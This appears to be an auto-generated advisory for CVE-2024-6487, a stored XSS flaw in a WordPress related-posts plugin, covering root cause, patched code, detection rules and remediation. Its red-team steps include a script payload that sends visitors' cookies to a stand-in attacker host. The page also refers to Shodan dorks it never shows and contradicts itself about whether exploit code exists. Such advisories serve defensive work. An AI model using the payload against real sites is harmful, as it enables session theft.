CVE-2024-6487
Executive Summary
CVE-2024-6487 is a Stored Cross-Site Scripting (XSS) vulnerability in the Inline Related Posts WordPress plugin, affecting versions prior to 3.8.0. The vulnerability allows high-privilege users (e.g., administrators) to inject arbitrary web scripts or HTML via unsanitized plugin settings. This is particularly dangerous in multisite WordPress installations where the unfiltered_html capability is typically disallowed for non-super-admins, as the flaw bypasses this restriction. Successful exploitation could lead to session hijacking, defacement, or redirection to malicious sites.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability resides in a WordPress plugin ecosystem. The plugin is distributed via the official WordPress Plugin Directory. Users should verify the integrity of the plugin by checking the SHA-256 hash against the official repository after updating. No known supply chain compromise has been reported for this specific CVE.
CVSS Breakdown & Threat Level
- CVSS Score: 0.0 (NVD base score not assigned; estimated 4.8 Medium based on vector)
- Vector: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:L/I:L/A:N
- Attack Vector: Network
- Attack Complexity: Low
- Privileges Required: High (Admin)
- User Interaction: None
- Scope: Unchanged
- Confidentiality Impact: Low
- Integrity Impact: Low
- Availability Impact: None
- Threat Level: Medium – Exploitation requires admin access but can affect all users viewing the compromised page.
Deep Dive & Mechanics
The vulnerability exists in the plugin's settings page where user-supplied input is not properly sanitized or escaped before being stored and later rendered. The Inline Related Posts plugin allows administrators to configure display options, such as custom CSS or text snippets. These inputs are stored in the WordPress options table and output without adequate escaping, leading to Stored XSS.
Root Cause: The plugin uses update_option() to save settings without applying sanitize_text_field() or wp_kses() on certain fields. When the settings are displayed (e.g., in the admin panel or frontend), the malicious payload executes.
Attack Flow:
- Attacker with admin privileges navigates to the plugin settings page.
- Attacker injects a payload like
<script>alert('XSS')</script>into a vulnerable field. - The payload is stored in the database.
- When any user (including lower-privileged users) visits the affected page, the script executes in their browser.
Vulnerable vs. Patched Code
Vulnerable Code (version < 3.8.0):
// In settings registration
register_setting( 'irp_settings', 'irp_custom_css' );
// In output
echo '<textarea name="irp_custom_css">' . get_option( 'irp_custom_css' ) . '</textarea>';
Patched Code (version 3.8.0):
// In settings registration
register_setting( 'irp_settings', 'irp_custom_css', 'sanitize_text_field' );
// In output
echo '<textarea name="irp_custom_css">' . esc_textarea( get_option( 'irp_custom_css' ) ) . '</textarea>';
The patch adds sanitize_text_field as a sanitization callback during registration and uses esc_textarea() when outputting the value.
Exploitation & Lab Setup
Red Team (Attack Simulation)
Prerequisites:
- WordPress multisite installation with the vulnerable plugin.
- Admin credentials for a subsite (or super admin for main site).
Steps:
- Log in as an admin user.
- Navigate to
Settings > Inline Related Posts. - In the "Custom CSS" field, inject:
<script>document.location='https://attacker.com/steal.php?cookie='+document.cookie</script> - Save settings.
- Any user visiting the settings page or frontend where the CSS is applied will trigger the payload.
Note: No public exploit code is available for this CVE.
Blue Team (Detection & Hardening)
Detection:
- Monitor for unusual changes to the
irp_custom_cssoption in the database. - Look for admin users creating posts/pages with script tags in plugin settings.
Hardening:
- Immediately update to version 3.8.0 or later.
- Restrict admin access to trusted users only.
- Implement Web Application Firewall (WAF) rules to block XSS payloads in plugin settings.
Indicators of Compromise (IOCs)
- File:
/wp-content/plugins/inline-related-posts/includes/settings.php(if unpatched) - Database Option:
irp_custom_csscontaining<script>tags or encoded JavaScript. - Network: Outbound connections to attacker-controlled domains from admin pages.
- Logs: WordPress debug log entries showing
wp_redirectorwp_diewith unexpected parameters.
Detection Engineering
YARA Rule
rule CVE_2024_6487_Inline_Related_Posts_XSS {
meta:
description = "Detects malicious payloads in Inline Related Posts plugin settings"
author = "Valters IT"
date = "2024-07-01"
reference = "CVE-2024-6487"
strings:
$xss_payload = /<script[^>]*>.*<\/script>/i
$option_name = "irp_custom_css"
condition:
$option_name and $xss_payload
}
Sigma Rule
title: CVE-2024-6487 - Stored XSS in Inline Related Posts Plugin
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects stored XSS payloads in WordPress plugin settings
author: Valters IT
logsource:
category: application
product: wordpress
detection:
selection:
option_name: "irp_custom_css"
option_value|contains: "<script"
condition: selection
falsepositives:
- Legitimate use of JavaScript in custom CSS (unlikely)
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2024-6487 - Stored XSS in Inline Related Posts"; flow:to_server; content:"POST"; http_method; content:"/wp-admin/options.php"; http_uri; content:"irp_custom_css"; http_client_body; pcre:"/<script[^>]*>.*<\/script>/i"; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate:
- Update the plugin to version 3.8.0 or later from the WordPress Plugin Directory.
- If unable to update, disable the plugin until a patch can be applied.
Long-term:
- Implement a WordPress security plugin (e.g., Wordfence) to monitor for XSS attempts.
- Enforce the principle of least privilege for admin accounts.
- Regularly audit plugin settings for unauthorized changes.
Valters IT Signature
This report was generated by Valters IT DevSecOps AI. For questions, contact security@valters-it.com.
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.